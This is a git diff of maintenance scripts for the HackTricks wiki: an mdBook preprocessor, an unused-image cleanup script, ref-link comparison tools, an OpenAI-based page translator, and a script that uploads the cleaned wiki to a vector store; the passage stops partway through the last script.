regex = r'(<\/style>\n# .*(?=\n))'
new_content = re.sub(regex, lambda x: x.group(0) + "\n\nReading time: {{ #reading_time }}", content)
return new_content
def iterate_chapters(sections):
if isinstance(sections, dict) and "PartTitle" in sections: # Not a chapter section
return
elif isinstance(sections, dict) and "Chapter" in sections: # Is a chapter return it and look into sub items
# logger.debug(f"Chapter {sections['Chapter']}")
yield sections['Chapter']
yield from iterate_chapters(sections['Chapter']["sub_items"])
elif isinstance(sections, list): # Iterate through list when in sections and in sub_items
for k, v in enumerate(sections):
yield from iterate_chapters(v)
if __name__ == '__main__':
global context, book, current_chapter
if len(sys.argv) > 1: # we check if we received any argument
if sys.argv[1] == "supports":
# then we are good to return an exit status code of 0, since the other argument will just be the renderer's name
sys.exit(0)
logger.debug('Started hacktricks preprocessor')
# load both the context and the book representations from stdin
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
current_chapter = chapter
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n#]*(?:#(.*))?)(?:\n)?{{[\s]*#endref[\s]*}}'
new_content = re.sub(regex, ref, chapter['content'])
regex = r'{{[\s]*#file[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endfile[\s]*}}'
new_content = re.sub(regex, files, new_content)
new_content = add_read_time(new_content)
chapter['content'] = new_content
content = json.dumps(book)
logger.debug(content)
print(content)

View File

@@ -1,88 +0,0 @@
#!/bin/bash
# Define the image folder and the root of your project
IMAGE_FOLDER="./src/images"
PROJECT_ROOT="."
# Move to the project root
cd "$PROJECT_ROOT" || exit
# Loop through each image file in the folder
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
# Extract the filename without the path
image_name=$(basename "$image")
# If image file name contains "sponsor", skip it
if [[ "$image_name" == *"sponsor"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"arte"* ]]; then
echo "Skipping arte image: $image_name"
continue
fi
if [[ "$image_name" == *"grte"* ]]; then
echo "Skipping grte image: $image_name"
continue
fi
if [[ "$image_name" == *"azrte"* ]]; then
echo "Skipping azrte image: $image_name"
continue
fi
if [[ "$image_name" == *"websec"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"venacus"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CLOUD"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"cloud.gif"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"CH_logo"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
if [[ "$image_name" == *"lasttower"* ]]; then
echo "Skipping sponsor image: $image_name"
continue
fi
echo "Checking image: $image_name"
# Search for the image name using rg and capture the result
search_result=$(rg -F --files-with-matches "$image_name" \
--no-ignore --hidden \
--glob '!.git/*' \
--glob '!$IMAGE_FOLDER/*' < /dev/null)
echo "Search result: $search_result"
# If rg doesn't find any matches, delete the image
if [ -z "$search_result" ]; then
echo "Deleting unused image: $image"
rm "$image"
else
echo "Image used: $image_name"
echo "$search_result"
fi
done
echo "Cleanup completed!"

View File

@@ -1,165 +0,0 @@
#!/usr/bin/env python3
import argparse
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def replace_refs_in_text(text: str, new_refs: list):
"""Replace all refs in text with new_refs, maintaining order."""
matches = list(REF_RE.finditer(text))
if len(matches) != len(new_refs):
return text # Can't replace if counts don't match
# Replace from end to beginning to avoid offset issues
result = text
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
start, end = match.span()
# Format the replacement with proper newlines
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
result = result[:start] + formatted_replacement + result[end:]
return result
def main():
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
parser.add_argument("--files-unmatched-paths", type=str,
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
args = parser.parse_args()
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
if not REFS_JSON.exists():
raise SystemExit(f"Reference file not found: {REFS_JSON}")
# Load the reference refs from master branch
try:
with open(REFS_JSON, 'r', encoding='utf-8') as f:
master_refs = json.load(f)
except (json.JSONDecodeError, UnicodeDecodeError) as e:
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
files_processed = 0
files_modified = 0
files_with_differences = 0
unmatched_files = [] # Track files with unmatched refs
# Track which files exist in current branch
current_files = set()
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
files_processed += 1
# Track this file as existing in current branch
current_files.add(rel)
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
current_refs = extract_refs(content)
# Check if file exists in master refs
if rel not in master_refs:
if current_refs:
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
master_file_refs = master_refs[rel]
# Compare ref counts
if len(current_refs) != len(master_file_refs):
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
files_with_differences += 1
unmatched_files.append(rel_with_src)
continue
# If no refs in either, skip
if not current_refs and not master_file_refs:
continue
# Compare individual refs
differences_found = False
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
if current_ref != master_ref:
if not differences_found:
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
differences_found = True
print(f" Ref {i+1}:")
print(f" Master: {repr(master_ref)}")
print(f" Current: {repr(current_ref)}")
if differences_found:
files_with_differences += 1
unmatched_files.append(rel_with_src)
# Replace current refs with master refs
try:
new_content = replace_refs_in_text(content, master_file_refs)
if new_content != content:
md_path.write_text(new_content, encoding="utf-8")
files_modified += 1
print(f" ✅ Fixed refs in {rel_with_src}")
else:
print(f" ❌ Failed to replace refs in {rel_with_src}")
except Exception as e:
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
# Check for files that exist in master refs but not in current branch
unexisted_files = 0
for master_file_rel in master_refs.keys():
if master_file_rel not in current_files:
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
unexisted_files += 1
unmatched_files.append(rel_with_src)
# Save unmatched files to specified path if requested
if args.files_unmatched_paths and unmatched_files:
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
f.write(','.join(list(set(unmatched_files))))
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
elif args.files_unmatched_paths and not unmatched_files:
# Create empty file if no unmatched files found
try:
unmatched_paths_file = Path(args.files_unmatched_paths)
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
unmatched_paths_file.write_text('\n', encoding='utf-8')
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
except Exception as e:
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
print(f"\n SUMMARY:")
print(f" Files processed: {files_processed}")
print(f" Files with different refs: {files_with_differences}")
print(f" Files modified: {files_modified}")
print(f" Non existing files: {unexisted_files}")
if unmatched_files:
print(f" Unmatched files: {len(unmatched_files)}")
if __name__ == "__main__":
main()

View File

@@ -1,38 +0,0 @@
#!/usr/bin/env python3
import json
import re
from pathlib import Path
SRC_DIR = Path("./src")
REFS_JSON = Path("/tmp/refs.json")
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
def extract_refs(text: str):
"""Return a list of refs (trimmed) in appearance order."""
return [m.strip() for m in REF_RE.findall(text)]
def main():
if not SRC_DIR.is_dir():
raise SystemExit(f"Not a directory: {SRC_DIR}")
refs_per_path = {} # { "relative/path.md": [ref1, ref2, ...] }
for md_path in sorted(SRC_DIR.rglob("*.md")):
rel = md_path.relative_to(SRC_DIR).as_posix()
try:
content = md_path.read_text(encoding="utf-8")
except UnicodeDecodeError:
# Fallback if encoding is odd
content = md_path.read_text(errors="replace")
refs = extract_refs(content)
refs_per_path[rel] = refs # keep order from findall
REFS_JSON.write_text(json.dumps(refs_per_path, indent=2, ensure_ascii=False) + "\n", encoding="utf-8")
print(f"Wrote {REFS_JSON} with {len(refs_per_path)} files.")
if __name__ == "__main__":
main()

View File

@@ -12,58 +12,15 @@ from tqdm import tqdm #pip3 install tqdm
import traceback
MASTER_BRANCH = "master"
VERBOSE = True
MAX_TOKENS = 50000 #gpt-4-1106-preview
DISALLOWED_SPECIAL = "<|endoftext|>"
REPLACEMENT_TOKEN = "<END_OF_TEXT>"
def run_git_command_with_retry(cmd, max_retries=1, delay=5, **kwargs):
"""
Run a git command with retry logic.
Args:
cmd: Command to run (list or string)
max_retries: Number of additional retries after first failure
delay: Delay in seconds between retries
**kwargs: Additional arguments to pass to subprocess.run
Returns:
subprocess.CompletedProcess result
"""
last_exception = None
for attempt in range(max_retries + 1):
try:
result = subprocess.run(cmd, **kwargs)
return result
except Exception as e:
last_exception = e
if attempt < max_retries:
print(f"Git command failed (attempt {attempt + 1}/{max_retries + 1}): {e}")
print(f"Retrying in {delay} seconds...")
time.sleep(delay)
else:
print(f"Git command failed after {max_retries + 1} attempts: {e}")
# If we get here, all attempts failed, re-raise the last exception
if last_exception:
raise last_exception
else:
raise RuntimeError("Unexpected error in git command retry logic")
def _sanitize(text: str) -> str:
"""
Replace the reserved tiktoken token with a harmless placeholder.
Called everywhere a string can flow into tiktoken.encode() or the
OpenAI client.
"""
return text.replace(DISALLOWED_SPECIAL, REPLACEMENT_TOKEN)
MAX_TOKENS = 10000 #gpt-4-1106-preview
def reportTokens(prompt, model):
encoding = tiktoken.encoding_for_model(model)
# print number of tokens in light gray, with first 50 characters of prompt in green. if truncated, show that it is truncated
#print("\033[37m" + str(len(encoding.encode(prompt))) + " tokens\033[0m" + " in prompt: " + "\033[92m" + prompt[:50] + "\033[0m" + ("..." if len(prompt) > 50 else ""))
prompt = _sanitize(prompt)
return len(encoding.encode(prompt))
@@ -75,41 +32,39 @@ def check_git_dir(path):
def get_branch_files(branch):
"""Get a list of all files in a branch."""
command = f"git ls-tree -r --name-only {branch}"
result = run_git_command_with_retry(command.split(), stdout=subprocess.PIPE)
result = subprocess.run(command.split(), stdout=subprocess.PIPE)
files = result.stdout.decode().splitlines()
return set(files)
def get_unused_files(branch):
def delete_unique_files(branch):
"""Delete files that are unique to branch2."""
# Get the files in each branch
files_branch_master = get_branch_files(MASTER_BRANCH)
files_branch_lang = get_branch_files(branch)
files_branch1 = get_branch_files(MASTER_BRANCH)
files_branch2 = get_branch_files(branch)
# Find the files that are in branch2 but not in branch1
unique_files = files_branch_lang - files_branch_master
unique_files = files_branch2 - files_branch1
return unique_files
if unique_files:
# Switch to the second branch
subprocess.run(["git", "checkout", branch])
# Delete the unique files from the second branch
for file in unique_files:
subprocess.run(["git", "rm", file])
subprocess.run(["git", "checkout", MASTER_BRANCH])
print(f"[+] Deleted {len(unique_files)} files from branch: {branch}")
def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translate_files):
"""
Get the translated files from the temp folder and copy them to the repo directory in the expected branch.
Also remove all the files that are not in the master branch.
"""
branch_exists = run_git_command_with_retry(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
branch_exists = subprocess.run(['git', 'show-ref', '--verify', '--quiet', 'refs/heads/' + branch])
# If branch doesn't exist, create it
if branch_exists.returncode != 0:
run_git_command_with_retry(['git', 'checkout', '-b', branch])
subprocess.run(['git', 'checkout', '-b', branch])
else:
run_git_command_with_retry(['git', 'checkout', branch])
# Get files to delete
files_to_delete = get_unused_files(branch)
# Delete files
for file in files_to_delete:
os.remove(file)
print(f"[+] Deleted {file}")
subprocess.run(['git', 'checkout', branch])
# Walk through source directory
for dirpath, dirnames, filenames in os.walk(temp_folder):
@@ -124,72 +79,32 @@ def cp_translation_to_repo_dir_and_check_gh_branch(branch, temp_folder, translat
for file_name in filenames:
src_file = os.path.join(dirpath, file_name)
shutil.copy2(src_file, dest_path)
if not "/images/" in src_file and not "/theme/" in src_file:
print(f"[+] Copied from {src_file} to {file_name}")
print(f"Translated files copied to branch: {branch}")
if translate_files:
commit_and_push(translate_files, branch)
subprocess.run(['git', 'add', "-A"])
subprocess.run(['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]])
subprocess.run(['git', 'checkout', MASTER_BRANCH])
print("Commit created and moved to master branch")
else:
print("No commiting anything, leaving in language branch")
def commit_and_push(translate_files, branch):
# Define the commands we want to run
commands = [
['git', 'add', '-A'],
['git', 'commit', '-m', f"Translated {translate_files} to {branch}"[:72]],
['git', 'push', '--set-upstream', 'origin', branch],
]
for cmd in commands:
result = run_git_command_with_retry(cmd, capture_output=True, text=True)
# Print stdout and stderr (if any)
if result.stdout:
print(f"STDOUT for {cmd}:\n{result.stdout}")
if "nothing to commit" in result.stdout.lower():
print("Nothing to commit, leaving")
exit(0)
if result.stderr:
print(f"STDERR for {cmd}:\n{result.stderr}")
# Check for errors
if result.returncode != 0:
raise RuntimeError(
f"Command `{cmd}` failed with exit code {result.returncode}"
)
print("Commit created and pushed")
def translate_text(language, text, file_path, model, cont=0, slpitted=False, client=None):
if not text:
return text
messages = [
{"role": "system", "content": "You are a professional hacker, translator and writer. You translate everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output and do not translate markdown or html tags or links."},
{"role": "system", "content": f"""The following is content from a hacking book about technical hacking techiques. The following given content is from the file {file_path}.
Translate the relevant English text to {language} and return the translation keeping exactly the same markdown and html syntax and following this guidance:
- Don't translate things like code, hacking technique names, common hacking words, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, links and markdown tags.
- Don't translate links or paths, e.g. if a link or ref is to "lamda-post-exploitation.md" don't translate that path to the language.
- Don't translate or modify tags, links, refs and paths like in:
- {{#tabs}}
- {{#tab name="Method1"}}
- {{#ref}}\ngeneric-methodologies-and-resources/pentesting-methodology.md\n{{#endref}}
- {{#include ./banners/hacktricks-training.md}}
- {{#ref}}macos-tcc-bypasses/{{#endref}}
- {{#ref}}0.-basic-llm-concepts.md{{#endref}}
- Don't translate any other tag, just return markdown and html content as is.
Also don't add any extra stuff in your response that is not part of the translation and markdown syntax."""},
{"role": "system", "content": "You are a professional hacker, translator and writer. You write everything super clear and as concise as possible without loosing information. Do not return invalid Unicode output."},
{"role": "system", "content": f"The following is content from a hacking book about hacking techiques. The following content is from the file {file_path}. Translate the relevant English text to {language} and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax."},
{"role": "user", "content": text},
]
try:
response = client.chat.completions.create(
model=model,
messages=messages,
temperature=1 # 1 because gpt-5 doesn't support other
temperature=0
)
except Exception as e:
print("Python Exception: " + str(e))
@@ -234,9 +149,6 @@ Also don't add any extra stuff in your response that is not part of the translat
return translate_text(language, text, file_path, model, cont, False, client)
response_message = response.choices[0].message.content.strip()
response_message = response_message.replace("bypassy", "bypasses") # PL translations translates that from time to time
response_message = response_message.replace("Bypassy", "Bypasses")
response_message = response_message.replace("-privec.md", "-privesc.md") # PL translations translates that from time to time
# Sometimes chatgpt modified the number of "#" at the beginning of the text, so we need to fix that. This is specially important for the first line of the MD that mucst have only 1 "#"
cont2 = 0
@@ -258,11 +170,9 @@ def split_text(text, model):
chunks = []
chunk = ''
in_code_block = False
in_ref = False
for line in lines:
# Keep code blocks as one chunk
# If we are in a code block, just add the code to the chunk
if line.startswith('```'):
# If we are in a code block, finish it with the "```"
@@ -278,24 +188,8 @@ def split_text(text, model):
chunk += line + '\n'
continue
"""
Prevent refs using `` like:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/`spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md`
{{#endref}}
"""
if line.startswith('{{#ref}}'):
in_ref = True
if in_ref:
line = line.replace("`", "")
if line.startswith('{{#endref}}'):
in_ref = False
# If new section, see if we should be splitting the text
if (line.startswith('#') and reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS*0.8) or \
reportTokens(chunk + "\n" + line.strip(), model) > MAX_TOKENS:
@@ -308,30 +202,23 @@ def split_text(text, model):
return chunks
def copy_dirs(source_path, dest_path, folder_names):
for folder_name in folder_names:
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the theme folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied {folder_name} folder from {source_folder} to {destination_folder}")
def copy_gitbook_dir(source_path, dest_path):
folder_name = ".gitbook/"
source_folder = os.path.join(source_path, folder_name)
destination_folder = os.path.join(dest_path, folder_name)
if not os.path.exists(source_folder):
print(f"Error: {source_folder} does not exist.")
else:
# Copy the .gitbook folder
shutil.copytree(source_folder, destination_folder)
print(f"Copied .gitbook folder from {source_folder} to {destination_folder}")
def move_files_to_push(source_path, dest_path, relative_file_paths):
for file_path in relative_file_paths:
source_filepath = os.path.join(source_path, file_path)
dest_filepath = os.path.join(dest_path, file_path)
if not os.path.exists(source_filepath):
print(f"Error: {source_filepath} does not exist.")
else:
shutil.copy2(source_filepath, dest_filepath)
print(f"[+] Copied {file_path}")
def copy_files(source_path, dest_path):
file_names = ["src/SUMMARY.md", "hacktricks-preprocessor.py", "book.toml", ".gitignore", "src/robots.txt"]
move_files_to_push(source_path, dest_path, file_names)
def copy_summary(source_path, dest_path):
file_name = "src/SUMMARY.md"
source_filepath = os.path.join(source_path, file_name)
dest_filepath = os.path.join(dest_path, file_name)
shutil.copy2(source_filepath, dest_filepath)
print("[+] Copied SUMMARY.md")
def translate_file(language, file_path, file_dest_path, model, client):
global VERBOSE
@@ -347,7 +234,7 @@ def translate_file(language, file_path, file_dest_path, model, client):
translated_content = ''
start_time = time.time()
for chunk in content_chunks:
# Don't translate code blocks
# Don't trasnlate code blocks
if chunk.startswith('```'):
translated_content += chunk + '\n'
else:
@@ -361,10 +248,9 @@ def translate_file(language, file_path, file_dest_path, model, client):
f.write(translated_content)
#if VERBOSE:
print(f"Page {file_path} translated in {file_dest_path} in {elapsed_time:.2f} seconds")
print(f"Page {file_path} translated in {elapsed_time:.2f} seconds")
"""
def translate_directory(language, source_path, dest_path, model, num_threads, client):
all_markdown_files = []
for subdir, dirs, files in os.walk(source_path):
@@ -394,17 +280,17 @@ def translate_directory(language, source_path, dest_path, model, num_threads, cl
tb = traceback.format_exc()
print(f'Translation generated an exception: {exc}')
print("Traceback:", tb)
"""
if __name__ == "__main__":
print("- Version 2.0.0")
print("- Version 1.1.1")
# Set up argparse
parser = argparse.ArgumentParser(description='Translate gitbook and copy to a new branch.')
#parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-d', '--directory', action='store_true', help='Translate a full directory.')
parser.add_argument('-l', '--language', required=True, help='Target language for translation.')
parser.add_argument('-b', '--branch', required=True, help='Branch name to copy translated files.')
parser.add_argument('-k', '--api-key', required=True, help='API key to use.')
parser.add_argument('-m', '--model', default="gpt-5-mini", help='The openai model to use. By default: gpt-5-mini')
parser.add_argument('-m', '--model', default="gpt-4o-mini", help='The openai model to use. By default: gpt-4o-mini')
parser.add_argument('-o', '--org-id', help='The org ID to use (if not set the default one will be used).')
parser.add_argument('-f', '--file-paths', help='If this is set, only the indicated files will be translated (" , " separated).')
parser.add_argument('-n', '--dont-cd', action='store_false', help="If this is true, the script won't change the current directory.")
@@ -459,7 +345,7 @@ if __name__ == "__main__":
translate_files = None # Need to initialize it here to avoid error
if args.file_paths:
# Translate only the indicated file
translate_files = list(set([f.strip() for f in args.file_paths.split(',') if f]))
translate_files = [f for f in args.file_paths.split(' , ') if f]
for file_path in translate_files:
#with tqdm(total=len(all_markdown_files), desc="Translating Files") as pbar:
with concurrent.futures.ThreadPoolExecutor(max_workers=num_threads) as executor:
@@ -473,21 +359,23 @@ if __name__ == "__main__":
#pbar.update()
except Exception as exc:
print(f'Translation generated an exception: {exc}')
#elif args.directory:
# Delete possibly removed files from the master branch
delete_unique_files(branch)
elif args.directory:
# Translate everything
#translate_directory(language, source_folder, dest_folder, model, num_threads, client)
translate_directory(language, source_folder, dest_folder, model, num_threads, client)
else:
print("You need to indicate either a directory or a list of files to translate.")
exit(0)
exit(1)
# Copy Summary
copy_files(source_folder, dest_folder)
# Copy summary
copy_summary(source_folder, dest_folder)
# Copy .gitbook folder
folder_names = ["theme/", "src/images/"]
copy_dirs(source_folder, dest_folder, folder_names)
copy_gitbook_dir(source_folder, dest_folder)
# Create the branch and copy the translated files
cp_translation_to_repo_dir_and_check_gh_branch(branch, dest_folder, translate_files)

View File

@@ -1,297 +0,0 @@
import os
import requests
import zipfile
import tempfile
import time
import glob
import re
from openai import OpenAI
# Initialize OpenAI client
client = OpenAI(api_key=os.getenv("MY_OPENAI_API_KEY"))
# Vector Store ID
VECTOR_STORE_ID = "vs_67e9f92e8cc88191911be54f81492fb8"
# --------------------------------------------------
# Step 1: Download and Extract Markdown Files
# --------------------------------------------------
def download_zip(url, save_path):
print(f"Downloading zip from: {url}")
response = requests.get(url)
response.raise_for_status() # Ensure the download succeeded
with open(save_path, "wb") as f:
f.write(response.content)
print(f"Downloaded zip from: {url}")
def extract_markdown_files(zip_path, extract_dir):
print(f"Extracting zip: {zip_path} to {extract_dir}")
with zipfile.ZipFile(zip_path, "r") as zip_ref:
zip_ref.extractall(extract_dir)
# Recursively find all .md files
md_files = glob.glob(os.path.join(extract_dir, "**", "*.md"), recursive=True)
return md_files
# Repository URLs
hacktricks_url = "https://github.com/HackTricks-wiki/hacktricks/archive/refs/heads/master.zip"
hacktricks_cloud_url = "https://github.com/HackTricks-wiki/hacktricks-cloud/archive/refs/heads/main.zip"
# Temporary directory for downloads and extraction
temp_dir = tempfile.mkdtemp()
try:
# Download zip archives
print("Downloading Hacktricks repositories...")
hacktricks_zip = os.path.join(temp_dir, "hacktricks.zip")
hacktricks_cloud_zip = os.path.join(temp_dir, "hacktricks_cloud.zip")
download_zip(hacktricks_url, hacktricks_zip)
download_zip(hacktricks_cloud_url, hacktricks_cloud_zip)
# Extract the markdown files
hacktricks_extract_dir = os.path.join(temp_dir, "hacktricks")
hacktricks_cloud_extract_dir = os.path.join(temp_dir, "hacktricks_cloud")
md_files_hacktricks = extract_markdown_files(hacktricks_zip, hacktricks_extract_dir)
md_files_hacktricks_cloud = extract_markdown_files(hacktricks_cloud_zip, hacktricks_cloud_extract_dir)
all_md_files = md_files_hacktricks + md_files_hacktricks_cloud
print(f"Found {len(all_md_files)} markdown files.")
finally:
# Optional cleanup of temporary files after processing
# shutil.rmtree(temp_dir)
pass
# --------------------------------------------------
# Step 2: Remove All Existing Files in the Vector Store
# --------------------------------------------------
# List current files in the vector store and delete each one.
existing_files = list(client.vector_stores.files.list(VECTOR_STORE_ID))
print(f"Found {len(existing_files)} files in the vector store. Removing them...")
for file_obj in existing_files:
# Delete the underlying file object; this removes it from the vector store.
try:
client.files.delete(file_id=file_obj.id)
print(f"Deleted file: {file_obj.id}")
time.sleep(1) # Give it a moment to ensure the deletion is processed
except Exception as e:
# Handle potential errors during deletion
print(f"Error deleting file {file_obj.id}: {e}")
# ----------------------------------------------------
# Step 3: Clean markdown Files
# ----------------------------------------------------
# Clean markdown files and marge them so it's easier to
# uplaod to the vector store.
def clean_and_merge_md_files(start_folder, exclude_keywords, output_file):
def clean_file_content(file_path):
"""Clean the content of a single file and return the cleaned lines."""
with open(file_path, "r", encoding="utf-8") as f:
content = f.readlines()
cleaned_lines = []
inside_hint = False
for i,line in enumerate(content):
# Skip lines containing excluded keywords
if any(keyword in line for keyword in exclude_keywords):
continue
# Detect and skip {% hint %} ... {% endhint %} blocks
if "{% hint style=\"success\" %}" in line and "Learn & practice" in content[i+1]:
inside_hint = True
if "{% endhint %}" in line:
inside_hint = False
continue
if inside_hint:
continue
if line.startswith("#") and "reference" in line.lower(): #If references part reached, just stop reading the file
break
# Skip lines with <figure> ... </figure>
if re.match(r"<figure>.*?</figure>", line):
continue
# Add the line if it passed all checks
cleaned_lines.append(line.rstrip())
# Remove excess consecutive empty lines
cleaned_lines = remove_consecutive_empty_lines(cleaned_lines)
return cleaned_lines
def remove_consecutive_empty_lines(lines):
"""Allow no more than one consecutive empty line."""
cleaned_lines = []
previous_line_empty = False
for line in lines:
if line.strip() == "":
if not previous_line_empty:
cleaned_lines.append("")
previous_line_empty = True
else:
cleaned_lines.append(line)
previous_line_empty = False
return cleaned_lines
def gather_files_in_order(start_folder):
"""Gather all .md files in a depth-first order."""
files = []
for root, _, filenames in os.walk(start_folder):
md_files = sorted([os.path.join(root, f) for f in filenames if f.endswith(".md") and f.lower() not in ["summary.md", "references.md"]])
files.extend(md_files)
return files
# Gather files in depth-first order
all_files = gather_files_in_order(start_folder)
# Process files and merge into a single output
with open(output_file, "w", encoding="utf-8") as output:
for file_path in all_files:
# Clean the content of the file
cleaned_content = clean_file_content(file_path)
# Skip saving if the cleaned file has fewer than 10 non-empty lines
if len([line for line in cleaned_content if line.strip()]) < 10:
continue
# Get the name of the file for the header
file_name = os.path.basename(file_path)
# Write header, cleaned content, and 2 extra new lines
output.write(f"### Start file: {file_name} ###\n\n")
output.write("\n".join(cleaned_content))
output.write("\n\n")
# Specify the starting folder and output file
start_folder = os.getcwd()
# Keywords to exclude from lines
exclude_keywords = [
"hacktricks-training.md",
"![](<", # Skip lines with images
"/images/" # Skip lines with images
"STM Cyber", # STM Cyber ads
"offer several valuable cybersecurity services", # STM Cyber ads
"and hack the unhackable", # STM Cyber ads
"blog.stmcyber.com", # STM Cyber ads
"RootedCON", # RootedCON ads
"rootedcon.com", # RootedCON ads
"the mission of promoting technical knowledge", # RootedCON ads
"Intigriti", # Intigriti ads
"intigriti.com", # Intigriti ads
"Trickest", # Trickest ads
"trickest.com", # Trickest ads,
"Get Access Today:",
"HACKENPROOF", # Hackenproof ads
"hackenproof.com", # Hackenproof ads
"HackenProof", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Hacking Insights:", # Hackenproof ads
"Engage with content that delves", # Hackenproof ads
"Real-Time Hack News:", # Hackenproof ads
"Keep up-to-date with fast-paced", # Hackenproof ads
"Latest Announcements:", # Hackenproof ads
"Stay informed with the newest bug", # Hackenproof ads
"start collaborating with top hackers today!", # Hackenproof ads
"discord.com/invite/N3FrSbmwdy", # Hackenproof ads
"Pentest-Tools", # Pentest-Tools.com ads
"pentest-tools.com", # Pentest-Tools.com ads
"perspective on your web apps, network, and", # Pentest-Tools.com ads
"report critical, exploitable vulnerabilities with real business impact", # Pentest-Tools.com ads
"SerpApi", # SerpApi ads
"serpapi.com", # SerpApi ads
"offers fast and easy real-time", # SerpApi ads
"plans includes access to over 50 different APIs for scraping", # SerpApi ads
"8kSec", # 8kSec ads
"academy.8ksec.io", # 8kSec ads
"Learn the technologies and skills required", # 8kSec ads
"WebSec", # WebSec ads
"websec.nl", # WebSec ads
"which means they do it all; Pentesting", # WebSec ads
]
# Clean and merge .md files
ht_file = os.path.join(tempfile.gettempdir(), "hacktricks.md")
htc_file = os.path.join(tempfile.gettempdir(), "hacktricks-cloud.md")
clean_and_merge_md_files(hacktricks_extract_dir, exclude_keywords, ht_file)
print(f"Merged content has been saved to: {ht_file}")
clean_and_merge_md_files(hacktricks_cloud_extract_dir, exclude_keywords, htc_file)
print(f"Merged content has been saved to: {htc_file}")
# ----------------------------------------------------
# Step 4: Upload All Markdown Files to the Vector Store
# ----------------------------------------------------
# Upload two files to the vector store.
# Uploading .md hacktricks files individually can be slow,
# so thats why we merged it before into just 2 files.
file_streams = []
ht_stream = open(ht_file, "rb")
file_streams.append(ht_stream)
htc_stream = open(htc_file, "rb")
file_streams.append(htc_stream)
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
time.sleep(60) # Sleep for a minute to ensure the upload is processed
ht_stream.close()
htc_stream.close()
""""This was to upload each .md independently, wich turned out to be a nightmare
# Ensure we don't exceed the maximum number of file streams
for file_path in all_md_files:
# Check if we have reached the maximum number of streams
if len(file_streams) >= 300:
print("Reached maximum number of file streams (300). Uploading current batch...")
# Upload the current batch before adding more files
file_batch = client.vector_stores.file_batches.upload_and_poll(
vector_store_id=VECTOR_STORE_ID,
files=file_streams
)
print("Upload status:", file_batch.status)
print("File counts:", file_batch.file_counts)
# Clear the list for the next batch
file_streams = []
time.sleep(120) # Sleep for 2 minutes to avoid hitting API limits
try:
